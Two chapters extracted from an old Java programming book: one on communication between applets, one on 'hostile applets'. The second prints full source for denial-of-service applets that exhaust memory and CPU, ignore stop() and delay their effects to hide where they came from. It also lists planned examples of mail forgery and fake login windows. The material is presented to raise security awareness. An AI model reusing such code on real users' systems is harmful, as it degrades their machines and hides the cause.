Using static variables for communication doesn't mean that the applets are somehow magically all initialized at the same time. The different instances are all started separately, and there's no guarantee that they will be initialized in any particular order. There is one guarantee, however: before even the first ColorRelay applet is created and initialized, the ColorRelay class will have been initialized, so all the applets will have the static variables available as soon as they start. You have to be careful when you use static variables, though, because multiple instances might be trying to use them simultaneously. To help manage that, I've used two synchronized methods to add and remove applets from the list. Because they are synchronized static methods, the ColorRelay class is locked while they are running, preventing concurrent access. The two methods are shown in Listing 1.3. Note that, as soon as the first element is added to the list, the controller thread is started. We'll see later that the thread is written to stop automatically when the last element is removed from the list at some later time.

Listing 1.3. ColorRelay.java (part 2). /** * Adds an instance to the list of active instances maintained in the * class. No check is made to prevent adding the same instance twice. * @param elem the ColorRelay instance to add to the list. * @see #removeFromList */ static synchronized void addToList(ColorRelay elem) { if (list == null) { list = listTail = elem; elem.next = elem.prev = null; // Because the list has elements now, we should start the thread. relayer = new Thread(new ColorRelay()); relayer.start(); } else { elem.prev = listTail;

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (7 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

listTail.next = listTail = elem; elem.next = null; } } /** * Removes an instance from the list of active instances maintained in * the class. Works properly but does <em>not</em> signal an error if * the element was not actually on the list. * @param elem the ColorRelay instance to be removed from the list. * @see #addToList */ static synchronized void removeFromList(ColorRelay elem) { ColorRelay curr = list; while (curr != null && curr != elem) { curr = curr.next; } if (curr == elem) { // We found it! if (list == curr) { list = curr.next; } if (listTail == curr) { listTail = curr.prev; } if (curr.next != null) { curr.next.prev = curr.prev; } if (curr.prev != null) { curr.prev.next = curr.next; } curr.next = curr.prev = null; } // If curr is null, then the element is not on the list // at all. We could treat that as an error, but I'm // choosing to report success. return; }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (8 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

Initializating Shared Data


The init method-called when the applet is created-checks, converts, and stores the applet's parameters. Special care must be taken with the image parameter, because it is stored in another static variable. Instead of synchronized methods, a synchronized guard statement is used to lock the ColorRelay class before trying to access the originalImage static variable. (Really, only one instance of ColorRelay should have an image parameter, but this precaution helps the code to deal sensibly with HTML coding errors.) Listing 1.4 shows the init method.

Listing 1.4. ColorRelay.java (part 3). /** * Initializes the applet instance. Checks and stores * parameters and initializes other instance variables. */ public void init() { String flash = getParameter("flashColor"); if (flash != null) { try { flashColor = new Color(parseRGB(flash)); } catch (NumberFormatException e) { // Ignore a bad parameter and just go with the default. } } String sleep = getParameter("sleepTime"); if (sleep != null) { try { sleepSecs = Integer.parseInt(sleep); } catch (NumberFormatException e) { // Ignore a bad parameter and just go with the default. }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (9 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

} String imageURL = getParameter("image"); if (imageURL != null) { Class cr = Class.forName("COM.MCP.Samsnet.tjg.ColorRelay"); synchronized (cr) { if (originalImage == null) { originalImage = getImage(getDocumentBase(), imageURL); } } } tracker = new MediaTracker(this); }

Working Together
The start method, called when the browser is ready for the applet to begin execution, actually adds the applet to the list. The stop method removes it from the list. As you saw earlier, adding the first applet to the list causes the controller thread to begin execution. The thread simply loops through the list over and over, directing each applet in turn to flash. It's up to the individual applets to flash their color for the appropriate amount of time and return when they are finished. The thread finishes automatically when there are no more applets on the list. Listing 1.5 shows the start and stop methods, along with the run method for the controller thread.

Listing 1.5. ColorRelay.java (part 4). /** * Starts the applet running. with * other instances on the same page and begins coordinating * when this method is called. */ public void start() {

The ColorRelay hooks up

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (10 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

// Ordinarily, we want to display the original image. image = originalImage; ColorRelay.addToList(this); // Let's get to work! } /** * Stops the applet. The ColorRelay instance removes itself from the * group of cooperating applets when this method is called. */ public void stop() { ColorRelay.removeFromList(this); } /** * Loops through the list of active instances for as long as it is * non-empty, calling each instance's 'flash' method. * @see #flash */ public void run () { ColorRelay curr; // Continue running through the list until it's empty ... while (list != null) { for (curr = list; curr != null; curr = curr.next) { try { curr.flash(); } catch (InterruptedException e) { } } } }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (11 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

Finishing Touches and Potential Hazards


The rest of the code for ColorRelay doesn't really have much to do with inter-applet communication, so it is omitted from this chapter (although it can be found on the CD accompanying this book). The getAppletInfo and getParameterInfo methods are recommended (but nonessential) parts of the Applet interface-sort of "good citizen" methods. getAppletInfo returns information about the applet, its author, and copyright conditions, whereas getParameterInfo returns information about the applet's HTML parameters and how to use them. The parseRGB method is used to parse an RGB color specification passed in as a parameter. The paint, update, and flash methods handle the graphics operations of the applet. Finally, ColorRelay also makes use of another class, ColorizeFilter, which makes a new image from an original by changing all-white pixels to a specified color. In most cases, using static variables for communication has advantages over getApplet. Each applet must register itself when it initializes, but that's simple, especially because the class is guaranteed to be available to accept the registration. The class may begin orchestrating the cooperation between applets immediately, as in ColorRelay, or it may need to wait until a particular applet registers. Applets can communicate with each other even when they are not on the same Web page. In this example, all the applets are the same, but that doesn't have to be the case. The applets could be completely different and still communicate via a common class. The class doesn't even have to be a superclass of the applets-each applet can simply refer to the common class, and the Java virtual machine will detect the dependency and load the class before the first applet is initialized. For example, any number of different applets could communicate through an AppletRendezvous class by means of statements such as this: // Register my name and type at the rendezvous ... AppletRendezvous.RegisterApplet("Applet1", "Bouncer"); None of the applets would have to inherit from AppletRendezvous in any way. In spite of these advantages, however, inter-applet communication using static variables doesn't solve every problem. For one thing, under current security schemes, it's not possible for applets to communicate this way if they were loaded from different sites on the network. Of course, such communication is also prohibited by current applications when using getApplet. A more serious problem is related to something mentioned as an advantage a couple of paragraphs ago: applets communicating via static variables can communicate across Web pages. When that's what you want, it's very useful, but when you aren't expecting it, it can be disastrous. Unless you explicitly intend for applets to continue to be a part of the team when the user moves on to another page, you need to write your applets carefully so that they use their stop methods to remove themselves from the team. Otherwise, if you try to use related applets together on one page to achieve one effect, and in a different
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (12 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

way on another page to produce a different effect, those applets might step all over each other and get very confused if a user were to visit both pages in a single session. The ColorRelay applet suffers from this problem to a degree. If you use it on one page with one image, and then on another page with a different image, the group of applets on the second page will continue to use the image that was loaded on the first page. With care, it is possible to avoid such confusion. One way is for applets to use the class only for establishing communication, storing references to shared information in instance variables rather than in the class. (The list of applets could stay in the class, because it's primarily a communication mechanism and applets are careful to remove themselves from the list when their stop method is called.) Another way of handling the situation is to use a hash table where the controlling applet on each page could store page-specific information, using itself as a key. There is one final problem that might apply if you are doing something that requires applets to stay active after the user moves on from the applet's page: trimming. Under certain circumstances (such as when the browser's in-memory cache is full) the browser will forcibly destroy applets. Each browser will probably have a different trimming policy. There's nothing you can do to avoid trimming, but you can take action when it happens by overriding Applet.destroy.

Network Communication
It's possible for applets to learn about each other and communicate using a network server. The server could accept connections from applets and inform them about other applets that were connecting from the same host. This mechanism doesn't offer any real advantages on its own, however. It turns out to be roughly equivalent to communication via static variables. Applets from different sites still can't communicate with each other, at least within Netscape Navigator, because of the restriction that applets can make network connections only to the site from which they were loaded. Furthermore, if two people on a multiuser system such as UNIX are both running Web browsers looking at the same page, it will be difficult, if not impossible, for the applets to determine that they are not even in the same browser. That could be a real mess. It could also be wonderful! Occasionally you might want applets to communicate with each other between browsers. Several applets already use this technique. One particularly interesting example is Paul Burchard's Chat Touring applet, which provides a fairly typical interactive chat service with a twistpeople who are viewing the Chat Touring page and chatting with each other can direct each others' Web browsers. You can type in the URL of a Web page you find interesting and the Chat Touring applet arranges for everyone else's browser to also jump to that page. Occasionally, there are "guided tour" events, where one individual is in control, showing the others a selection of Web pages and guiding discussion about them. The Chat Touring applet can be found at the following address: http://www.cs.princeton.edu/~burchard/www/interactive/chat/

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (13 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

Using the network for applet communication is primarily useful when the network is already an important part of what you want to accomplish. Communicating between different users is one example; another is a client applet, which interacts with a server to perform expensive calculations or access a database. If you are implementing such an applet and you think that having multiple cooperating applets might make your Web page easier to use, easier to understand, or more exciting, you might piggyback your inter-applet communication on the network, because you'll be using it anyway. On the other hand, if you don't already need to use the network, it's probably not the best choice for inter-applet communication.

Thread-Based Communication
One final mechanism deserves mention, because although it's extremely limited in most ways, it does permit some communication that isn't otherwise possible. One applet can learn about other applets by searching through the ThreadGroup hierarchy to find the threads in which the applets are running. Chapter 23, "Pushing the Limits of Java Security," contains an example applet, AppletKiller, which demonstrates how to find other applets in this manner. However, although AppletKiller is pretty good at finding other applets, it's not really concerned with communicating with any of them (except in an extreme sense!), so a discussion of the communication potential of the approach is worthwhile. Even after you've found an applet's thread, communication isn't easy, because you haven't actually found the applet object itself-just the thread in which it is running. Because applets must inherit from the Applet class, and Java doesn't support multiple inheritance, applets can't actually be instances of Thread; instead, they must implement the Runnable interface and create new Thread objects. Having found a thread, there are only a few things you can do. You can find out several pieces of information about the thread itself, but that doesn't lead you to the applet. You can interrupt the thread, but that's a pretty poor form of communication. The only real way to establish communication with the applet is to try to stop the thread by throwing an object of some type other than ThreadDeath: // 'appthread' contains the thread we've found appthread.stop(new CommunicationHandle(this)); If the applet is prepared to catch such an object, it can use that object to find your applet and establish communication, but you still will have aborted whatever the applet was in the process of doing. Even worse, if the applet isn't prepared to accept the CommunicationHandle, you will have inadvertently killed the entity you were trying to talk to, just like they occasionally do on Star Trek. As if that weren't bad enough, if the other applet was loaded from another site, applet security mechanisms might prevent the other applet from recognizing the object you pass in the stop method. Because of all of these pitfalls, locating other applets via the ThreadGroup hierarchy is really more useful for control purposes than for cooperation. It's possible for one applet to keep watch over others,

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (14 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

enabling a user to investigate what applets are currently active and kill those that are misbehaving. Applets really shouldn't be able to control other threads, and their current ability to do so probably represents a security bug. Chapter 23 discusses this issue in some detail. If you build applets that depend on this capability to do their job, they may cease to work as applications tighten thread security. At the same time, though, mechanisms for more flexible security will be appearing, permitting you to grant special privileges to applets loaded from trusted sources (see Chapter 22, "Authentication, Encryption, and Trusted Applets," for more details). An applet that gives the user control over other, ill-behaving applets might remain a useful tool.

Summary
Inter-applet communication can be extremely useful. It can help you produce improved visual effects which enhance the content of a Web site, and it can help you build useful applets that are easy to understand. Unfortunately, there are also a lot of traps for the unwary. There are several ways of establishing communication between different applets, and each mechanism has its problems. For most purposes, you should use AppletContext.getApplet or static variables in a shared class to establish communication. They work fairly well in most situations, and their limitations are not too serious. Additionally, getApplet should work more consistently in the future, as application implementors hammer out the details of how it really should work. In certain special cases, applets can communicate using the network or locate each other by searching the thread hierarchy. These mechanisms have serious disadvantages, but they also offer unique capabilities, which might be essential for the function you have in mind.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (15 of 15) [8/16/02 8:35:53 AM]

Chapter 23 -- Pushing the Limits of Java Security

Chapter 23
Pushing the Limits of Java Security

CONTENTS
G G G G G G G G G

Introducing Hostile Applets Challenges for the Hacker A Very Noisy Bear A Gluttonous Trio Throw Open a Window Survival of the Fittest, Applet Style Port 25, Where Are You? A Java Factoring-By-Web Project Summary

Introducing Hostile Applets


The preceding chapters have examined the Java Security Model and the Java Security Manager from a responsible programmer's perspective. These chapters addressed the important issues of understanding and assessing risks, creating a security policy, and implementing trusted applet authentication procedures. This chapter takes a different approach, employing instead a hacker's-eye-view of Java and introducing the subject of hostile applets. A hostile applet is any applet which, when downloaded, attempts to monopolize or exploit your system's resources in an inappropriate manner. An applet which performs, or causes you to perform, an action which you would not otherwise care to perform should be deemed hostile. Denial-of-service applets, mail forging applets, and applets that surreptitiously run other people's programs on your workstation are all clear-cut examples of hostile applets, but the definition is still problematic. Is an applet which annoys you, perhaps on account of some programming error, to be regarded as hostile?

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (1 of 40) [8/16/02 8:36:05 AM]

Chapter 23 -- Pushing the Limits of Java Security

Is an applet hostile just because you don't approve of its effects? Have you tacitly consented to every possible effect by virtue of using a Java-enabled browser? These are just a few of the thorny issues waiting to be resolved by the Java community. Taking an adversarial approach, this chapter uses the power of the Java language to probe for weaknesses. The goal in presenting examples of hostile applets is not simply to annoy and harass Web surfers for the sport of it, though clearly that is one potential side effect. Rather, the goal is to illustrate, by means of concrete examples, some serious issues. It might be argued that by revealing the source code for such unfriendly applets and by explaining the ideas that we used to construct them, we are providing effective training for aspiring hackers. But attempting to keep potential security problems secret has never been an effective method for improving security. While hackers might learn a useful trick or two here, it seems much more likely that both system administrators and ordinary users will benefit more from a frank introduction to potential problems. Raising awareness will ultimately strengthen both Java and Internet security.

Challenges for the Hacker


Sun's web page, "Frequently Asked Questions-Applet Security" (http://java.sun.com/sfaq/index.html), introduces most of the important activities that Java applets are not allowed to perform. Sun's stated goals are to prevent applets from "inspecting or changing files on a client file system" and "using network connections to circumvent file protections or people's expectations of privacy." Of particular interest is Sun's summary of applet capabilities and the accompanying examples. The challenge for the hacker is to replace "no" (applets can't do that) with "yes" (sure they can!) as many times as possible. As Sun's examples show, you cannot expect a straightforward approach to challenging Java security to work. Nevertheless, several security bugs have already been discovered, and it is possible to expose others by exploiting the language in unexpected ways. Recently, security flaws were found in both the 1.0 release of the Java Developer's Kit (JDK) and the 2.0 version of Netscape's Navigator. In February 1996 Drew Dean, Ed Felten, and Dan Wallach of Princeton University announced their successful "DNS Attack Scenario." Under this scenario an applet could establish a network connection to an arbitrary host. The key to their scenario's success was the Java applet security manager's performing dynamic DNS lookups. Instead of determining an applet's numerical IP address as it was downloaded and enabling it to connect only to that address, the applet security manager would allow it to connect to any IP address associated with the host name from which it came. As a result, the security manager was actually enforcing a rule much weaker than what Sun claimed. A purveyor of hostile applets, running his own domain name resolver, could then advertise a false IP address and have his applets open network connections to that address, thereby circumventing one of Java's intended rules. While Dean, Felten, and Wallach never publicly released their hostile applet (which they said exploited an
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (2 of 40) [8/16/02 8:36:05 AM]

Chapter 23 -- Pushing the Limits of Java Security

old sendmail bug to make their point), the potential for mischief was recognized at once. In their initial public report (http://www.cs.princeton.edu/~ddean/java/) the Princeton researchers outlined how an applet could make connections behind firewalls, employ SATAN, and spread Web viruses. Within days Netscape Communications had issued a patch to the 2.0 version of their Navigator, and on March 5 CERT issued an advisory (ftp://cert.org/pub/cert_advisories/CA96.05.java_applet_security_mgr). Both Netscape 2.01 and JDK 1.0.1 have fixed this security flaw. A second serious flaw also existed in JDK 1.0 and Netscape 2.0. This one, discovered by David Hopwood (http://sable.ox.uk/~lady0065/java/bugs/tech.html) involved the classloader. By deliberately modifying a class file, or modifying the Java compiler to produce such an altered class file, it was possible to invoke a class name beginning with either "/" or "\." As the compiler, javac, cannot produce such a class reference, the classloader should have rejected any class file that sought to do this. But in fact these altered class files could pass through the classladder undetected. An applet could bypass the Java security manager, refer to files by their absolute path names, and load native code libraries. Once again the hostile applet was not publicly displayed, and this security bug was corrected in both Netscape 2.01 and JDK 1.0.1. More recently, in late March 1996, another serious security breach was revealed. This one has been reported by the Princeton team of Dean, Felten, and Wallach, and it involves the Java bytecode verifier. Through another flaw in the implementation of the Java security model, still present in JDK 1.0.1 and Netscape 2.01, it is possible for an applet to execute through the browser any command that the user is able to execute on the system. In particular, a cleverly designed hostile applet can read, modify, and delete files at will. CERT has issued a timely advisory (ftp://cert.org/pub/cert_advisories/CA96.07.java_bytecode_verifier), and this problem was corrected in both Netscape 2.02 and JDK 1.0.2. Details of this and other attacks by the Princeton team are available in their recent paper, "Java Security: From HotJava to Netscape and Beyond" (http://www.cs.princeton.edu/sip/pub/secure96.html). The same authors have an informative Web page, "Java Security: Frequently Asked Questions" (http://www.cs.princeton.edu/sip/java-faq.html). Another excellent source of information on recent security bugs in Java is David Hopwood's Web page, "Security Bugs in Java" (http://ferret.lmh.ox.ac.uk/~david/java/). Both of these sites offer advice on the best ways to deal with Java security problems, and Sun's Web page, "Frequently Asked Questions - Applet Security" (http://java.sun.com/sfaq/), is frequently revised to provide news about the latest developments. As more security problems are discovered, these sites are sure to continue offering timely and accurate information and advice.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (3 of 40) [8/16/02 8:36:05 AM]

Chapter 23 -- Pushing the Limits of Java Security

The ongoing research at Princeton and Oxford has shown the potentially deleterious effects of hostile applets. So far these applets have only appeared under controlled conditions and have not been set loose to wreak havoc on the Web, but other sorts of hostile applets do exist, are easily written, and are readily available on the Web. One collection has already appeared on the "Hostile Applets Home Page" (http://www.math.gatech.edu/~mladue/HostileApplets.html), and DigiCrime (http://www.digicrime.com/) has promised that more are on the way. While the hostile applets that are publicly available may pale in comparison to their Ivy League cousins, their potential for mischief should not be underestimated. The rest of this chapter discusses concrete examples of applets that can 1. 2. 3. 4. 5. 6. 7. 8. 9. Annoy you with a very noisy bear who refuses to be quiet Bring your browser to a grinding halt Make your browser start barking and then exit Attack your workstation with big windows, wasteful calculations, and more noise, effectively excluding you from the console Pop up an untrusted applet window minus the warning and ask you for a login and password Kill all other applets and defend themselves from ThreadDeath Forge electronic mail Obtain your user name Exploit your workstation to run someone else's program and report back the results Note The examples discussed in this chapter and included on the accompanying CD were developed and tested on a Sun Sparcstation 5 running Solaris 2.5 and OpenWindows 3.5. They have also been tested on a DEC Alpha running Digital UNIX V3.2C. Their effectiveness under Windows 95 and MacOS varies from machine to machine. They are equally effective when viewed by Netscape's Navigator (2.01, 2.02, and 3.0b), by Sun's HotJava 1.0 (preBeta1) browser, and by the humble JDK appletviewer. While these examples are somewhat inelegant hacks, they do serve to illustrate various issues that need to be addressed in the Java community.

A Very Noisy Bear


Writing a clock applet has become a virtual rite of passage for the would-be Java programmer. So it seems appropriate that this chapter's first applet should be a clock applet that goes awry. Listing 23.1 displays the applet NoisyBear.java.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (4 of 40) [8/16/02 8:36:05 AM]

Chapter 23 -- Pushing the Limits of Java Security

Listing 23.1. NoisyBear.java. import java.applet.AudioClip; import java.awt.*; import java.util.Date; public class NoisyBear extends java.applet.Applet implements Runnable { Font timeFont = new Font("TimesRoman", Font.BOLD, 24); Font wordFont = new Font("TimesRoman", Font.PLAIN, 12); Date rightNow; Thread announce = null; Image bearImage; Image offscreenImage; Graphics offscreenGraphics; AudioClip annoy; boolean threadStopped = false; public void init() { bearImage = getImage(getCodeBase(), "Pictures/sunbear.jpg"); offscreenImage = createImage(this.size().width, this.size().height); offscreenGraphics = offscreenImage.getGraphics(); annoy = getAudioClip(getCodeBase(), "Sounds/drum.au"); } public void start() { if (announce == null) { announce = new Thread(this); announce.start(); } } public void stop() { if (announce != null) { //if (annoy != null) annoy.stop(); stops the noise announce.stop(); announce = null; } } public void run() { if (annoy != null) annoy.loop();
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (5 of 40) [8/16/02 8:36:05 AM]

//uncommenting

Chapter 23 -- Pushing the Limits of Java Security

while (true) { rightNow = new Date(); repaint(); try { Thread.sleep(1000); } catch (InterruptedException e) {} } } public void update(Graphics g) { // g.clipRect(125, 150, 350, 50); paint(g); } public void paint(Graphics g) { int imwidth = bearImage.getWidth(this); int imheight = bearImage.getHeight(this); offscreenGraphics.drawImage(bearImage, 0, 0, imwidth, imheight, this); offscreenGraphics.setColor(Color.white); offscreenGraphics.fillRect(125, 150, 350, 100); offscreenGraphics.setColor(Color.blue); offscreenGraphics.drawRect(124, 149, 352, 102); offscreenGraphics.setFont(timeFont); offscreenGraphics.drawString(rightNow.toString(), 135, 200); offscreenGraphics.setFont(wordFont); offscreenGraphics.drawString("It's time for me to annoy you!", 135, 225); g.drawImage(offscreenImage, 0, 0, this); } public boolean mouseDown(Event evt, int x, int y) { if (threadStopped) { announce.resume(); } else { announce.suspend(); } threadStopped = !threadStopped; return true; } }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (6 of 40) [8/16/02 8:36:05 AM]

Chapter 23 -- Pushing the Limits of Java Security

The applet is friendly for the most part. It uses double buffering to smoothly superimpose a simple clock over the bear's image and update the clock. The applet's stop() method enables you to stop and restart the clock by clicking on it. But notice that this does not stop the sound. Now journey to another Web page, and the sound continues. To escape from this very noisy bear, you have to kill the thread running annoy.loop(), disable your audio, or quit the browser, all of which are inconvenient. Therein lies the hostile feature of the applet. Now look at the stop() method in NoisyBear.java, and observe that the line which would silence the Noisy Bear has been commented out. By doing so, a harmless, if somewhat inane, clock applet changes into a hostile applet. A powerful and useful feature of Java, the ability to play sound in the background, has been subverted. In this case the commented line in the stop() method was left to illustrate the point. Uncomment the line and compile the applet again, and the Noisy Bear becomes well-behaved. This simple example offers several lessons. First, just as annoy.loop() continued ad nauseum, so can any other thread. The Java programmer is not obliged to stop an applet's threads, and can even override the stop() method to do absolutely nothing. Thus threads may run in the Web browser as ghosts of departed applets. You will see that this is the key to building hostile applets. A second observation concerns the use of offscreen graphics objects. While they certainly help to improve the quality of animation, they can be gluttonous consumers of resources. The next two sections show how animations can provide safe havens for denial-of-service applets. From a casual encounter with the Noisy Bear, it would be hard to tell-was there hostile intent, or just bad programming? In the rest of the examples in this chapter the answer is very clear.

A Gluttonous Trio
Following the observations about NoisyBear.java, you are now ready to look at a trio of hostile applets. The first two are designed to monopolize your system's resources to such an extent that your browser comes to a grinding halt. The third one makes your browser start barking before it dies from a bus error. Listing 23.2 shows the first applet of the trio, Consume.java.

Listing 23.2. Consume.java. import import import import import java.awt.Color; java.awt.Event; java.awt.Font; java.awt.Graphics; java.awt.Image;

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (7 of 40) [8/16/02 8:36:05 AM]

Chapter 23 -- Pushing the Limits of Java Security

public class Consume extends java.applet.Applet implements Runnable { // Just a font to paint strings to our offscreen object Font wordFont = new Font("TimesRoman", Font.PLAIN, 12); This thread will attempt to consume resources Thread wasteResources = null; An offscreen Image where all of the real action will occur Image offscreenImage;

//

//

//

All of the tools necessary to handle the offscreen Image Graphics offscreenGraphics; // Needed to handle the offscreen Image // To avoid arrays and have open-ended storage of results StringBuffer holdBigNumbers = new StringBuffer(0); Used for the while loop in the run() method long n = 0;

//

// Used to read in a parameter that makes the thread sleep for a // specified number of seconds int delay; /* Set up a big blue rectangle in the browser and create an offscreen Image */ public void init() { setBackground(Color.blue); offscreenImage = createImage(this.size().width, this.size().height); offscreenGraphics = offscreenImage.getGraphics(); // Determine how many seconds the thread should sleep before kicking in String str = getParameter("wait"); if (str == null) delay = 0; else delay = (1000)*(Integer.parseInt(str)); }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (8 of 40) [8/16/02 8:36:05 AM]

Chapter 23 -- Pushing the Limits of Java Security

/* */

Create and start the offending thread in the standard way

public void start() { if (wasteResources == null) { wasteResources = new Thread(this); wasteResources.setPriority(Thread.MAX_PRIORITY); wasteResources.start(); } } /* We won't stop anything */ public void stop() {} /* This method repeatedly appends a very large integer to a StringBuffer. It can sleep for a specified length of time in order to give the browser enough time to go elsewhere before its insidious effects become apparent. */ public void run() { try {Thread.sleep(delay);} catch (InterruptedException e) {} while (n >= 0) { try { holdBigNumbers.append(0x7fffffffffffffffL); } catch (OutOfMemoryError o) {} repaint(); n++; } } public void update(Graphics g) { paint(g); } /* Paints to the offscreen Image */

public void paint(Graphics g) { offscreenGraphics.setColor(Color.white); offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height); offscreenGraphics.setColor(Color.blue);

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (9 of 40) [8/16/02 8:36:05 AM]

Chapter 23 -- Pushing the Limits of Java Security

offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50); } }

The applet, when downloaded, appears to be completely inert-it simply displays a blue rectangle in your browser. The real action takes place in a thread. The init() method creates offscreen Image and Graphics objects and reads in a parameter that specifies how long the hostile thread should sleep before going to work. While start() creates this thread, stop() does absolutely nothing to control it. The applet's run() method first allows the thread to sleep for the desired length of time, then the hostile activity occurs in a while loop. Here the maximum 64-bit signed integer is repeatedly appended to a StringBuffer, and the result is displayed offscreen. This quickly overwhelms the browser with useless activity. Several aspects of this hostile applet are worth noting: 1. It runs in a thread in the browser, and its hostile activities take place out of sight. 2. Its stop() method does nothing. 3. It has a parameter that makes the hostile thread sleep for a specified amount of time. This allows the browser to go elsewhere before the hostile effects become apparent, so that the origin of the effects can be obscured. Consume.java brings your browser to a halt by monopolizing both CPU and memory, but monopolizing either suffices to hang your browser. Almost any expensive numerical routine could be used in place of appending large integers to a StringBuffer. Raising a large matrix to a high power, trying to factor large integers, and calculating the digits of pi would all have this effect if done with an eye toward inefficiency, and you can no doubt think of dozens more. As an example, Listing 23.3 displays the second member of the trio, Wasteful.java, which calculates the Fibonacci sequence recursively, consuming CPU and halting the browser. Listing 23.3. Wasteful.java. import import import import import java.awt.Color; java.awt.Event; java.awt.Font; java.awt.Graphics; java.awt.Image;

public class Wasteful extends java.applet.Applet implements Runnable { Font wordFont = new Font("TimesRoman", Font.PLAIN, 12);
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (10 of 40) [8/16/02 8:36:05 AM]

Chapter 23 -- Pushing the Limits of Java Security

Thread wasteResources = null; Image offscreenImage; Graphics offscreenGraphics; boolean threadStopped = false; StringBuffer holdResults = new StringBuffer(0); long n = 0; int delay; public void init() { setBackground(Color.blue); offscreenImage = createImage(this.size().width, this.size().height); offscreenGraphics = offscreenImage.getGraphics(); String str = getParameter("wait"); if (str == null) delay = 0; else delay = (1000)*(Integer.parseInt(str)); } public void start() { if (wasteResources == null) { wasteResources = new Thread(this); wasteResources.setPriority(Thread.MAX_PRIORITY); wasteResources.start(); } } public void stop() {} //doesn't stop anything public void run() { try {Thread.sleep(delay);} catch(InterruptedException e) {} while (n >= 0) { holdResults.append(fibonacci(n)); repaint(); n++; } } public void update(Graphics g) { paint(g); } public void paint(Graphics g) {
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (11 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height); offscreenGraphics.setColor(Color.blue); offscreenGraphics.drawString(holdResults.toString(), 10, 10); } public long fibonacci(long k) { if (k == 0 || k == 1) return k; else return fibonacci(k - 1) + fibonacci(k - 2); } }

The third applet of the trio, HostileThreads.java, adds a new twist to the previous two-it attempts a crude sort of self-defense with a "big windows" attack in case it throws an error. Listing 23.4 shows this hostile applet. Listing 23.4. HostileThreads.java. import java.awt.*; import java.applet.AudioClip; import java.net.*; public class HostileThreads extends java.applet.Applet implements Runnable { // Just a font to paint strings to the applet window Font bigFont = new Font("TimesRoman", Font.BOLD, 36); Thread controller = null; Thread wasteResources[] = new Thread[1000000]; // Used to read in a parameter that makes the thread sleep for a // specified number of seconds before taking effect int delay; // Your browser will die barking! AudioClip bark;

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch23.htm (12 of 40) [8/16/02 8:36:06 AM]

Chapter 23 -- Pushing the Limits of Java Security

